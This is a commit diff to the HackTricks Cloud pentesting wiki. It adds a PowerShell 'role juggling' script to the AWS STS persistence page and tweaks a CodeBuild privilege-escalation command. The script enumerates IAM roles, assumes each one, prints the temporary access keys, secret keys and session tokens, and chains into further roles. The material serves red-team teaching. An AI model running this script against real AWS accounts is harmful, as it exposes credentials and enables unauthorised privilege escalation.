GITBOOK-592: change request with no subject merged in GitBook

HackTricks-wiki · Mar 3, 2024 · 8661fd0 · 8661fd0
1 parent 93e384c
commit 8661fd0
Show file tree

Hide file tree

Showing 2 changed files with 91 additions and 5 deletions.
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -9,7 +9,7 @@ Other ways to support HackTricks:
 * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -53,6 +53,92 @@ optional arguments:
   -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 
+
+
+<details>
+
+<summary>Code to perform Role Juggling from PowerShell</summary>
+
+```powershell
+# PowerShell script to check for role juggling possibilities using AWS CLI
+
+# Check for AWS CLI installation
+if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
+    Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
+    exit
+}
+
+# Function to list IAM roles
+function List-IAMRoles {
+    aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
+}
+
+# Initialize error count
+$errorCount = 0
+
+# List all roles
+$roles = List-IAMRoles | ConvertFrom-Json
+
+# Attempt to assume each role
+foreach ($role in $roles) {
+    $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+    try {
+        $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+        if ($credentials) {
+            Write-Host "Successfully assumed role: $($role.RoleName)"
+            Write-Host "Access Key: $($credentials.AccessKeyId)"
+            Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
+            Write-Host "Session Token: $($credentials.SessionToken)"
+            Write-Host "Expiration: $($credentials.Expiration)"
+
+            # Set temporary credentials to assume the next role
+            $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
+            $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
+            $env:AWS_SESSION_TOKEN = $credentials.SessionToken
+
+            # Try to assume another role using the temporary credentials
+            foreach ($nextRole in $roles) {
+                if ($nextRole.Arn -ne $role.Arn) {
+                    $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+                    try {
+                        $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+                        if ($nextCredentials) {
+                            Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
+                            Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
+                            Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
+                            Write-Host "Session Token: $($nextCredentials.SessionToken)"
+                            Write-Host "Expiration: $($nextCredentials.Expiration)"
+                        }
+                    } catch {
+                        $errorCount++
+                    }
+                }
+            }
+
+            # Reset environment variables
+            Remove-Item Env:\AWS_ACCESS_KEY_ID
+            Remove-Item Env:\AWS_SECRET_ACCESS_KEY
+            Remove-Item Env:\AWS_SESSION_TOKEN
+        } else {
+            $errorCount++
+        }
+    } catch {
+        $errorCount++
+    }
+}
+
+# Output the number of errors if any
+if ($errorCount -gt 0) {
+    Write-Host "$errorCount error(s) occurred during role assumption attempts."
+} else {
+    Write-Host "No errors occurred. All roles checked successfully."
+}
+
+Write-Host "Role juggling check complete."
+```
+
+</details>
+
 <details>
 
 <summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@@ -62,7 +148,7 @@ Other ways to support HackTricks:
 * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -9,7 +9,7 @@ Other ways to support HackTricks:
 * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -184,7 +184,7 @@ printf "$JSON" > $REV_PATH
 
 aws codebuild update-project --cli-input-json file://$REV_PATH
 
-aws codebuild start-build --project-name codebuild-demo-project
+aws codebuild start-build-batch --project-name codebuild-demo-project
 ```
 {% endtab %}
 
@@ -308,7 +308,7 @@ Other ways to support HackTricks:
 * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>